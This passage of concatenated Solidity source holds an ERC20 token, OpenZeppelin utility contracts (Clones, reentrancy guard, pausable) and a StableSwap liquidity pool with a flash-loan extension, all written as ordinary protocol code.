{symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IAllowlist { function getPoolAccountLimit(address poolAddress) external view returns (uint256); function getPoolCap(address poolAddress) external view returns (uint256); function verifyAddress(address account, bytes32[] calldata merkleProof) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/proxy/Clones.sol"; import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol"; import "./OwnerPausableUpgradeable.sol"; import "./SwapUtils.sol"; import "./AmplificationUtils.sol"; /** * @title Swap - A StableSwap implementation in solidity. * @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins) * and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens * in desired ratios for an exchange of the pool token that represents their share of the pool. * Users can burn pool tokens and withdraw their share of token(s). * * Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets * distributed to the LPs. * * In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which * stops the ratio of the tokens in the pool from changing. * Users can always withdraw their tokens via multi-asset withdraws. * * @dev Most of the logic is stored as a library `SwapUtils` for the sake of reducing contract's * deployment size. */ contract Swap is OwnerPausableUpgradeable, ReentrancyGuardUpgradeable { using SafeERC20 for IERC20; using SafeMath for uint256; using SwapUtils for SwapUtils.Swap; using AmplificationUtils for SwapUtils.Swap; // Struct storing data responsible for automatic market maker functionalities. In order to // access this data, this contract uses SwapUtils library. For more details, see SwapUtils.sol SwapUtils.Swap public swapStorage; // Maps token address to an index in the pool. Used to prevent duplicate tokens in the pool. // getTokenIndex function also relies on this mapping to retrieve token index. mapping(address => uint8) private tokenIndexes; /*** EVENTS ***/ // events replicated from SwapUtils to make the ABI easier for dumb // clients event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity( address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); event NewWithdrawFee(uint256 newWithdrawFee); event RampA( uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime ); event StopRampA(uint256 currentA, uint256 time); /** * @notice Initializes this Swap contract with the given parameters. * This will also clone a LPToken contract that represents users' * LP positions. The owner of LPToken will be this contract - which means * only this contract is allowed to mint/burn tokens. * * @param _pooledTokens an array of ERC20s this pool will accept * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with * @param lpTokenTargetAddress the address of an existing LPToken contract to use as a target */ function initialize( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress ) public virtual initializer { __OwnerPausable_init(); __ReentrancyGuard_init(); // Check _pooledTokens and precisions parameter require(_pooledTokens.length > 1, "_pooledTokens.length <= 1"); require(_pooledTokens.length <= 32, "_pooledTokens.length > 32"); require( _pooledTokens.length == decimals.length, "_pooledTokens decimals mismatch" ); uint256[] memory precisionMultipliers = new uint256[](decimals.length); for (uint8 i = 0; i < _pooledTokens.length; i++) { if (i > 0) { // Check if index is already used. Check if 0th element is a duplicate. require( tokenIndexes[address(_pooledTokens[i])] == 0 && _pooledTokens[0] != _pooledTokens[i], "Duplicate tokens" ); } require( address(_pooledTokens[i]) != address(0), "The 0 address isn't an ERC-20" ); require( decimals[i] <= SwapUtils.POOL_PRECISION_DECIMALS, "Token decimals exceeds max" ); precisionMultipliers[i] = 10 ** uint256(SwapUtils.POOL_PRECISION_DECIMALS).sub( uint256(decimals[i]) ); tokenIndexes[address(_pooledTokens[i])] = i; } // Check _a, _fee, _adminFee, _withdrawFee parameters require(_a < AmplificationUtils.MAX_A, "_a exceeds maximum"); require(_fee < SwapUtils.MAX_SWAP_FEE, "_fee exceeds maximum"); require( _adminFee < SwapUtils.MAX_ADMIN_FEE, "_adminFee exceeds maximum" ); // Clone and initialize a LPToken contract LPToken lpToken = LPToken(Clones.clone(lpTokenTargetAddress)); require( lpToken.initialize(lpTokenName, lpTokenSymbol), "could not init lpToken clone" ); // Initialize swapStorage struct swapStorage.lpToken = lpToken; swapStorage.pooledTokens = _pooledTokens; swapStorage.tokenPrecisionMultipliers = precisionMultipliers; swapStorage.balances = new uint256[](_pooledTokens.length); swapStorage.initialA = _a.mul(AmplificationUtils.A_PRECISION); swapStorage.futureA = _a.mul(AmplificationUtils.A_PRECISION); // swapStorage.initialATime = 0; // swapStorage.futureATime = 0; swapStorage.swapFee = _fee; swapStorage.adminFee = _adminFee; } /*** MODIFIERS ***/ /** * @notice Modifier to check deadline against current timestamp * @param deadline latest timestamp to accept this transaction */ modifier deadlineCheck(uint256 deadline) { require(block.timestamp <= deadline, "Deadline not met"); _; } /*** VIEW FUNCTIONS ***/ /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @return A parameter */ function getA() external view virtual returns (uint256) { return swapStorage.getA(); } /** * @notice Return A in its raw precision form * @dev See the StableSwap paper for details * @return A parameter in its raw precision form */ function getAPrecise() external view virtual returns (uint256) { return swapStorage.getAPrecise(); } /** * @notice Return address of the pooled token at given index. Reverts if tokenIndex is out of range. * @param index the index of the token * @return address of the token at given index */ function getToken(uint8 index) public view virtual returns (IERC20) { require(index < swapStorage.pooledTokens.length, "Out of range"); return swapStorage.pooledTokens[index]; } /** * @notice Return the index of the given token address. Reverts if no matching * token is found. * @param tokenAddress address of the token * @return the index of the given token address */ function getTokenIndex(address tokenAddress) public view virtual returns (uint8) { uint8 index = tokenIndexes[tokenAddress]; require( address(getToken(index)) == tokenAddress, "Token does not exist" ); return index; } /** * @notice Return current balance of the pooled token at given index * @param index the index of the token * @return current balance of the pooled token at given index with token's native precision */ function getTokenBalance(uint8 index) external view virtual returns (uint256) { require(index < swapStorage.pooledTokens.length, "Index out of range"); return swapStorage.balances[index]; } /** * @notice Get the virtual price, to help calculate profit * @return the virtual price, scaled to the POOL_PRECISION_DECIMALS */ function getVirtualPrice() external view virtual returns (uint256) { return swapStorage.getVirtualPrice(); } /** * @notice Calculate amount of tokens you receive on swap * @param tokenIndexFrom the token the user wants to sell * @param tokenIndexTo the token the user wants to buy * @param dx the amount of tokens the user wants to sell. If the token charges * a fee on transfers, use the amount that gets transferred after the fee. * @return amount of tokens the user will receive */ function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view virtual returns (uint256) { return swapStorage.calculateSwap(tokenIndexFrom, tokenIndexTo, dx); } /** * @notice A simple method to calculate prices from deposits or * withdrawals, excluding fees but including slippage. This is * helpful as an input into the various "min" parameters on calls * to fight front-running * * @dev This shouldn't be used outside frontends for user estimates. * * @param amounts an array of token amounts to deposit or withdrawal, * corresponding to pooledTokens. The amount should be in each * pooled token's native precision. If a token charges a fee on transfers, * use the amount that gets transferred after the fee. * @param deposit whether this is a deposit or a withdrawal * @return token amount the user will receive */ function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view virtual returns (uint256) { return swapStorage.calculateTokenAmount(amounts, deposit); } /** * @notice A simple method to calculate amount of each underlying * tokens that is returned upon burning given amount of LP tokens * @param amount the amount of LP tokens that would be burned on withdrawal * @return array of token balances that the user will receive */ function calculateRemoveLiquidity(uint256 amount) external view virtual returns (uint256[] memory) { return swapStorage.calculateRemoveLiquidity(amount); } /** * @notice Calculate the amount of underlying token available to withdraw * when withdrawing via only single token * @param tokenAmount the amount of LP token to burn * @param tokenIndex index of which token will be withdrawn * @return availableTokenAmount calculated amount of underlying token * available to withdraw */ function calculateRemoveLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex ) external view virtual returns (uint256 availableTokenAmount) { return swapStorage.calculateWithdrawOneToken(tokenAmount, tokenIndex); } /** * @notice This function reads the accumulated amount of admin fees of the token with given index * @param index Index of the pooled token * @return admin's token balance in the token's precision */ function getAdminBalance(uint256 index) external view virtual returns (uint256) { return swapStorage.getAdminBalance(index); } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice Swap two tokens using this pool * @param tokenIndexFrom the token the user wants to swap from * @param tokenIndexTo the token the user wants to swap to * @param dx the amount of tokens the user wants to swap from * @param minDy the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction */ function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.swap(tokenIndexFrom, tokenIndexTo, dx, minDy); } /** * @notice Add liquidity to the pool with the given amounts of tokens * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amount of LP token user minted and received */ function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.addLiquidity(amounts, minToMint); } /** * @notice Burn LP tokens to remove liquidity from the pool. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @dev Liquidity can always be removed, even when the pool is paused. * @param amount the amount of LP tokens to burn * @param minAmounts the minimum amounts of each token in the pool * acceptable for this burn. Useful as a front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amounts of tokens user received */ function removeLiquidity( uint256 amount, uint256[] calldata minAmounts, uint256 deadline ) external virtual nonReentrant deadlineCheck(deadline) returns (uint256[] memory) { return swapStorage.removeLiquidity(amount, minAmounts); } /** * @notice Remove liquidity from the pool all in one token. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param tokenAmount the amount of the token you want to receive * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @param deadline latest timestamp to accept this transaction * @return amount of chosen token user received */ function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.removeLiquidityOneToken( tokenAmount, tokenIndex, minAmount ); } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @param deadline latest timestamp to accept this transaction * @return amount of LP tokens burned */ function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return swapStorage.removeLiquidityImbalance(amounts, maxBurnAmount); } /*** ADMIN FUNCTIONS ***/ /** * @notice Withdraw all admin fees to the contract owner */ function withdrawAdminFees() external onlyOwner { swapStorage.withdrawAdminFees(owner()); } /** * @notice Update the admin fee. Admin fee takes portion of the swap fee. * @param newAdminFee new admin fee to be applied on future transactions */ function setAdminFee(uint256 newAdminFee) external onlyOwner { swapStorage.setAdminFee(newAdminFee); } /** * @notice Update the swap fee to be applied on swaps * @param newSwapFee new swap fee to be applied on future transactions */ function setSwapFee(uint256 newSwapFee) external onlyOwner { swapStorage.setSwapFee(newSwapFee); } /** * @notice Start ramping up or down A parameter towards given futureA and futureTime * Checks if the change is too rapid, and commits the new A value only when it falls under * the limit range. * @param futureA the new A to ramp towards * @param futureTime timestamp when the new A should be reached */ function rampA(uint256 futureA, uint256 futureTime) external onlyOwner { swapStorage.rampA(futureA, futureTime); } /** * @notice Stop ramping A immediately. Reverts if ramp A is already stopped. */ function stopRampA() external onlyOwner { swapStorage.stopRampA(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create opcode, which should never revert. */ function clone(address master) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `master` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(master, salt, address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; /** * @title OwnerPausable * @notice An ownable contract allows the owner to pause and unpause the * contract without a delay. * @dev Only methods using the provided modifiers will be paused. */ abstract contract OwnerPausableUpgradeable is OwnableUpgradeable, PausableUpgradeable { function __OwnerPausable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); __Pausable_init_unchained(); } /** * @notice Pause the contract. Revert if already paused. */ function pause() external onlyOwner { PausableUpgradeable._pause(); } /** * @notice Unpause the contract. Revert if already unpaused. */ function unpause() external onlyOwner { PausableUpgradeable._unpause(); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT WITH AGPL-3.0-only pragma solidity 0.6.12; import "./Swap.sol"; import "./interfaces/IFlashLoanReceiver.sol"; /** * @title Swap - A StableSwap implementation in solidity. * @notice This contract is responsible for custody of closely pegged assets (eg. group of stablecoins) * and automatic market making system. Users become an LP (Liquidity Provider) by depositing their tokens * in desired ratios for an exchange of the pool token that represents their share of the pool. * Users can burn pool tokens and withdraw their share of token(s). * * Each time a swap between the pooled tokens happens, a set fee incurs which effectively gets * distributed to the LPs. * * In case of emergencies, admin can pause additional deposits, swaps, or single-asset withdraws - which * stops the ratio of the tokens in the pool from changing. * Users can always withdraw their tokens via multi-asset withdraws. * * @dev Most of the logic is stored as a library `SwapUtils` for the sake of reducing contract's * deployment size. */ contract SwapFlashLoan is Swap { // Total fee that is charged on all flashloans in BPS. Borrowers must repay the amount plus the flash loan fee. // This fee is split between the protocol and the pool. uint256 public flashLoanFeeBPS; // Share of the flash loan fee that goes to the protocol in BPS. A portion of each flash loan fee is allocated // to the protocol rather than the pool. uint256 public protocolFeeShareBPS; // Max BPS for limiting flash loan fee settings. uint256 public constant MAX_BPS = 10000; /*** EVENTS ***/ event FlashLoan( address indexed receiver, uint8 tokenIndex, uint256 amount, uint256 amountFee, uint256 protocolFee ); /** * @notice Initializes this Swap contract with the given parameters. * This will also clone a LPToken contract that represents users' * LP positions. The owner of LPToken will be this contract - which means * only this contract is allowed to mint/burn tokens. * * @param _pooledTokens an array of ERC20s this pool will accept * @param decimals the decimals to use for each pooled token, * eg 8 for WBTC. Cannot be larger than POOL_PRECISION_DECIMALS * @param lpTokenName the long-form name of the token to be deployed * @param lpTokenSymbol the short symbol for the token to be deployed * @param _a the amplification coefficient * n * (n - 1). See the * StableSwap paper for details * @param _fee default swap fee to be initialized with * @param _adminFee default adminFee to be initialized with * @param lpTokenTargetAddress the address of an existing LPToken contract to use as a target */ function initialize( IERC20[] memory _pooledTokens, uint8[] memory decimals, string memory lpTokenName, string memory lpTokenSymbol, uint256 _a, uint256 _fee, uint256 _adminFee, address lpTokenTargetAddress ) public virtual override initializer { Swap.initialize( _pooledTokens, decimals, lpTokenName, lpTokenSymbol, _a, _fee, _adminFee, lpTokenTargetAddress ); flashLoanFeeBPS = 8; // 8 bps protocolFeeShareBPS = 0; // 0 bps } /*** STATE MODIFYING FUNCTIONS ***/ /** * @notice Borrow the specified token from this pool for this transaction only. This function will call * `IFlashLoanReceiver(receiver).executeOperation` and the `receiver` must return the full amount of the token * and the associated fee by the end of the callback transaction. If the conditions are not met, this call * is reverted. * @param receiver the address of the receiver of the token. This address must implement the IFlashLoanReceiver * interface and the callback function `executeOperation`. * @param token the protocol fee in bps to be applied on the total flash loan fee * @param amount the total amount to borrow in this transaction * @param params optional data to pass along to the callback function */ function flashLoan( address receiver, IERC20 token, uint256 amount, bytes memory params ) external nonReentrant { uint8 tokenIndex = getTokenIndex(address(token)); uint256 availableLiquidityBefore = token.balanceOf(address(this)); uint256 protocolBalanceBefore = availableLiquidityBefore.sub( swapStorage.balances[tokenIndex] ); require( amount > 0 && availableLiquidityBefore >= amount, "invalid amount" ); // Calculate the additional amount of tokens the pool should end up with uint256 amountFee = amount.mul(flashLoanFeeBPS).div(10000); // Calculate the portion of the fee that will go to the protocol uint256 protocolFee = amountFee.mul(protocolFeeShareBPS).div(10000); require(amountFee > 0, "amount is small for a flashLoan"); // Transfer the requested amount of tokens token.safeTransfer(receiver, amount); // Execute callback function on receiver IFlashLoanReceiver(receiver).executeOperation( address(this), address(token), amount, amountFee, params ); uint256 availableLiquidityAfter = token.balanceOf(address(this)); require( availableLiquidityAfter >= availableLiquidityBefore.add(amountFee), "flashLoan fee is not met" ); swapStorage.balances[tokenIndex] = availableLiquidityAfter .sub(protocolBalanceBefore) .sub(protocolFee); emit FlashLoan(receiver, tokenIndex, amount, amountFee, protocolFee); } /*** ADMIN FUNCTIONS ***/ /** * @notice Updates the flash loan fee parameters. This function can only be called by the owner. * @param newFlashLoanFeeBPS the total fee in bps to be applied on future flash loans * @param newProtocolFeeShareBPS the protocol fee in bps to be applied on the total flash loan fee */ function setFlashLoanFees( uint256 newFlashLoanFeeBPS, uint256 newProtocolFeeShareBPS ) external onlyOwner { require( newFlashLoanFeeBPS > 0 && newFlashLoanFeeBPS <= MAX_BPS && newProtocolFeeShareBPS <= MAX_BPS, "fees are not in valid range" ); flashLoanFeeBPS = newFlashLoanFeeBPS; protocolFeeShareBPS = newProtocolFeeShareBPS; } } // 